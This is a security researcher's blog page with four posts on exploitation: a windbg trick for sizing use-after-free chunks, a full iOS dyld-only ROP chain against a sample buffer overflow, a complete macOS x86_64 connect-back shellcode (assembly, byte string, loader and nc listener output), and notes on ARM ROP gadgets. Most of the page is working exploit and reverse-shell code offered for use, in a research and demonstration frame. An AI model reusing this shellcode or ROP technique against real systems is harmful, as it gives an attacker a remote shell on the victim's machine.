Blog | Talks | Docs | Tools | Advisories | About | RSS
Fermín J. Serna - Blog...
<<<<< January - 2012 >>>>>
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

3-Jan-2012 [6:09] -- The cools kid way of finding the use-after-free block size...

Lets say you have found a use-after-free on program X where at some point it is dereferencing a register plus an offset.

You could:

1) Open IDA an lookup where the object got created to see the size of the allocation.
2) Use page heap, windbg and take a look to the allocation stack trace
3) Windbg !heap -p -a

Or... a quick trick I used today, taking advantage of page heap placing the object at the end of a page for catching buffer overflows.

1:022:x86> ? 0x1000-(ebx&0x00000FFF)
Evaluate expression: 88 = 00000058 <--- size of chunk
1:022:x86>

Fermin J. Serna - @fjserna

Comments (1)

25-May-2011 [18:42] -- IOS dyld only ROP

As you may know 4.3 IOS introduced ASLR so the old tricks of using directly gadgets and functions from any module are no longer valid.

Today, while talking to @i0n1c and @thegrugq on twitter we started to discuss rop-only shellcodes using dyld only gadgets.

I did the following some months ago (February-2011 IIRC), on 4.3beta2 and this is not useful without an exploit so no real risk for users.

The idea is to use dyld!dlsym() to resolve the functions needed and patch the ROP with write4 gadgets. Please note I do not use dyld!dlopen() but instead I use fixed return values for several modules.

The below code is the exploitation of a sample buffer overflow that you need to compile (without PIE) and upload to a test IOS device. Again, it will only work on 4.3beta2 but can be easily updated.

This ROP will basically make the phone vibrate and exit. Nothing fancy... but just to demonstrate the technique.

This will work if you:
1) Have a market app not compiled with PIE (dyld and main binary will not be randomized). This example code.
2) You have an info leak of dyld (need to update the addresses of this ROP)

#define ROP_POP_R4R5R6R7PC          0x2FE01295 // +1
#define ROP_POP_R1R2R3R4R6R7PC      0x2FE1A8E9 // +1
#define ROP_MOV_ROR4_POP_R4R5R6R7PC 0x2FE07437 // +1
#define ROP_BLX_R4_POP_R4R7PC       0x2FE19BAF // +1
#define ROP_STR_ROR4_POP_R4R7PC     0x2FE017BB // +1
 
#define FUNC_DLSYM                  0x2fe07e79 // +1
 
#define DLOPEN_LIBSYSTEM            0x2fe28cc8
#define DLOPEN_AUDIOTOOLBOX         0x2fe29cb4
 
       memset(buffer2,0,sizeof(buffer2));
 
       ch_ptr=buffer2;
       memset(ch_ptr,0x41,64+12);
       ch_ptr+=64+12;
 
       ul_ptr=(unsigned long *)ch_ptr;
 
       base_address=(unsigned long)&buffer+64+12;
 
       //*(ul_ptr++)=0xFDFDFDFD;
       *(ul_ptr++)=ROP_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=DLOPEN_AUDIOTOOLBOX; // arg0: dlopen ret value for AudioToolbox (iphone4.3beta2 iphone4)
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_MOV_ROR4_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R1R2R3R4R6R7PC;
 
       // r1, r2, r3, r4, r6, r7, pc
       *(ul_ptr++)=base_address+(87*sizeof(unsigned long));  // arg1: function name
       *(ul_ptr++)=0x22222222;
       *(ul_ptr++)=0x33333333;
       *(ul_ptr++)=FUNC_DLSYM;   // __dlsym address
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_BLX_R4_POP_R4R7PC; // Resolve API
 
       *(ul_ptr++)=base_address+(37*sizeof(unsigned long));;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_STR_ROR4_POP_R4R7PC; // Store API ptr where it is used...
 
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=0x3ea ;       // arg0: sound
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_MOV_ROR4_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R1R2R3R4R6R7PC;
 
       // r1, r2, r3, r4, r6, r7, pc
       *(ul_ptr++)=0x11111111;
       *(ul_ptr++)=0x22222222;
       *(ul_ptr++)=0x33333333;
       *(ul_ptr++)=0xFFFFFFFF;  // AudioServicesPlaySystemSound ptr
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_BLX_R4_POP_R4R7PC;
 
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R4R5R6R7PC;
 
       /////-------------------------------------------------------------------
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=DLOPEN_LIBSYSTEM; // arg0: dlopen ret value for libSystem.B.dylib (iphone4.3beta2 iphone4)
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_MOV_ROR4_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R1R2R3R4R6R7PC;
 
       // r1, r2, r3, r4, r6, r7, pc
       *(ul_ptr++)=base_address+(87*sizeof(unsigned long)+strlen("AudioServicesPlaySystemSound")+1);  // arg1: function name
       *(ul_ptr++)=0x22222222;
       *(ul_ptr++)=0x33333333;
       *(ul_ptr++)=FUNC_DLSYM;   // __dlsym address
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_BLX_R4_POP_R4R7PC; // Resolve API
 
       *(ul_ptr++)=base_address+((44+36)*sizeof(unsigned long));;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_STR_ROR4_POP_R4R7PC; // Store API ptr where it is used...
 
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=0x00000000;       // arg0: exit code
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_MOV_ROR4_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R1R2R3R4R6R7PC;
 
       // r1, r2, r3, r4, r6, r7, pc
       *(ul_ptr++)=0x11111111;
       *(ul_ptr++)=0x22222222;
       *(ul_ptr++)=0x33333333;
       *(ul_ptr++)=0xFFFFFFFF;  // exit ptr
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_BLX_R4_POP_R4R7PC;
 
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=0xDEADDEAD;
 
 
       // copy API names at the end
       ch_ptr=(char *)ul_ptr;
       strcpy(ch_ptr,"AudioServicesPlaySystemSound");
       ch_ptr+=strlen("AudioServicesPlaySystemSound")+1;
 
       strcpy(ch_ptr,"exit");
       ch_ptr+=strlen("exit")+1;


Fermin J. Serna - @fjserna

Comments (0)

22-Oct-2010 [18:49] -- x86_64 MacOS X connect() shellcode

Lately I have been researching the exploitation of buffer overflows, user-after-free, etc... but on x86_64 (concretely on MacOSX). I had my sample vulnerable programs, the 100% reliable exploits, etc... but could not find any interesting shellcode for this arch/platform. And you know... and int3 is not that exciting when you want to show this to your friends/family/fans/wife...

So, I had to develop my own one... contains NULL bytes but for my exploitation it did nto matter.

One thing I learnt is that it is way more elegant to write it.. no jmp/call/pop since I use relative rip addressing :) AV, IPS should develop new generic techniques to find shellcodes.

Here we go, the ip and port are hardcoded to (127.0.0.1:4444):

/*
 
MacOSX x86_64 connect() shellcode 
Author: Fermin J. Serna
Twitter: @fjserna
Website: http://zhodiac.hispahack.com
Date: 21/Oct/2010

----

BITS 64

SECTION .text
GLOBAL _start

_start:

  ; socket = 0x2000061
  xor rdi, rdi
  inc rdi
  inc rdi
  xor rsi, rsi
  inc rsi
  xor rdx, rdx
  mov eax, 0x2000061
  mov r10, rcx
  syscall
  push rax ; push sock_fd for later use

  ; connect = 0x2000062
  pop rdi
  push rdi
  lea rsi, [rel sockaddr_in]
  xor rdx, rdx
  mov dl, 0x10
  mov eax, 0x2000062
  mov r10, rcx
  syscall

  ; dup2 = 0x200005a
  pop rdi
  push rdi
  xor rsi, rsi
  mov eax, 0x200005a  
  mov r10, rcx
  syscall
    
  ; dup2 = 0x200005a
  pop rdi
  push rdi
  xor rsi, rsi
  inc rsi
  mov eax, 0x200005a
  mov r10, rcx
  syscall

  ; dup2 = 0x200005a
  pop rdi
  push rdi
  xor rsi, rsi
  inc rsi
  inc rsi
  mov eax, 0x200005a
  mov r10, rcx
  syscall

  ; execve = 0x200003b
  lea rdi, [rel cmd]
  xor rdx, rdx
  push rdx
  push rdi
  mov rsi, rsp
  mov eax, 0x200003b
  mov r10, rcx
  syscall

  ; exit = 0x2000001
_exit:
  xor rdi, rdi
  mov eax, 0x2000001
  syscall 

sockaddr_in:    
  dd 0x5c110200    ; port 4444            
  dd 0x0100007f     ; 127.0.0.1
  dd 0x00000000
  dd 0x00000000

cmd: 
  db '/bin/sh',0

*/


#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

char shellcode[]=
 "\\x48\\x31\\xff\\x48\\xff\\xc7\\x48\\xff\\xc7\\x48\\x31\\xf6\\x48\\xff\\xc6\\x48"
 "\\x31\\xd2\\xb8\\x61\\x00\\x00\\x02\\x49\\x89\\xca\\x0f\\x05\\x50\\x5f\\x57\\x48"
 "\\x8d\\x35\\x68\\x00\\x00\\x00\\x48\\x31\\xd2\\xb2\\x10\\xb8\\x62\\x00\\x00\\x02"
 "\\x49\\x89\\xca\\x0f\\x05\\x5f\\x57\\x48\\x31\\xf6\\xb8\\x5a\\x00\\x00\\x02\\x49"
 "\\x89\\xca\\x0f\\x05\\x5f\\x57\\x48\\x31\\xf6\\x48\\xff\\xc6\\xb8\\x5a\\x00\\x00"
 "\\x02\\x49\\x89\\xca\\x0f\\x05\\x5f\\x57\\x48\\x31\\xf6\\x48\\xff\\xc6\\x48\\xff"
 "\\xc6\\xb8\\x5a\\x00\\x00\\x02\\x49\\x89\\xca\\x0f\\x05\\x48\\x8d\\x3d\\x2c\\x00"
 "\\x00\\x00\\x48\\x31\\xd2\\x52\\x57\\x48\\x89\\xe6\\xb8\\x3b\\x00\\x00\\x02\\x49"
 "\\x89\\xca\\x0f\\x05\\x48\\x31\\xff\\xb8\\x01\\x00\\x00\\x02\\x0f\\x05\\x00\\x02"
 "\\x11\\x5c\\x7f\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2f\\x62"
 "\\x69\\x6e\\x2f\\x73\\x68\\x00\\x00";

int main(int argc, char **argv) {

int (*sc)();
void *ptr=(void *)0x0000006000000000;
unsigned int counter;

  ptr=mmap(ptr,0x1000,PROT_EXEC|PROT_WRITE|PROT_READ,MAP_FIXED|MAP_ANON|MAP_PRIVATE,0,0);
  if (ptr==MAP_FAILED) {
      perror("mmap");
      exit(-1);
  }

  memcpy(ptr,shellcode,sizeof(shellcode));
  sc=ptr;

  sc();

  return 0;

}

And the result is:

Fermin-Sernas-MacBook-Pro:x Fer$ nc -lv 4444
id;
uid=501(Fer) gid=20(staff) groups=20(staff),402(com.apple.sharepoint.group.1),204(_developer),100(_lpoperator),98(_lpadmin),81(_appserveradm),80(admin),79(_appserverusr),61(localaccounts),12(everyone),401(com.apple.access_screensharing)

Fermin J. Serna - @fjserna

Comments (0)

27-May-2010 [11:39] -- Learning ROP on iPhone (ARM)

Some little research on iphone (non jailbroken) security and ROP (return oriented programming) this weekend... did not go so far but promises a lot...

Right now controlling most of interesting registers, including pc, with just two chained ARM gadgets:

(gdb) info reg r0 r1 r2 r3 r4 r5 r6 r7 pc
r0             0x10	16
r1             0x11111111	286331153
r2             0x22222222	572662306
r3             0x33333333	858993459
r4             0x44444444	1145324612
r5             0x55555555	1431655765
r6             0x66666666	1717986918
r7             0x77777777	2004318071
pc             0xdeadbeee	-559038738
(gdb)

Gadgets are: (first one borrowed from zynamics blogpost. Thx guys :)

x32988d5e - libSystem+000c7d5e - pop {r0, r1, r2, r3, pc}
0x3298cdf6 - libSystem+000cbdf6 - pop {r4, r5, r6, r7, pc}

Now onto some more interesting gadgets to call functions and chain them...

Fermin J. Serna - @fjserna

Comments (0)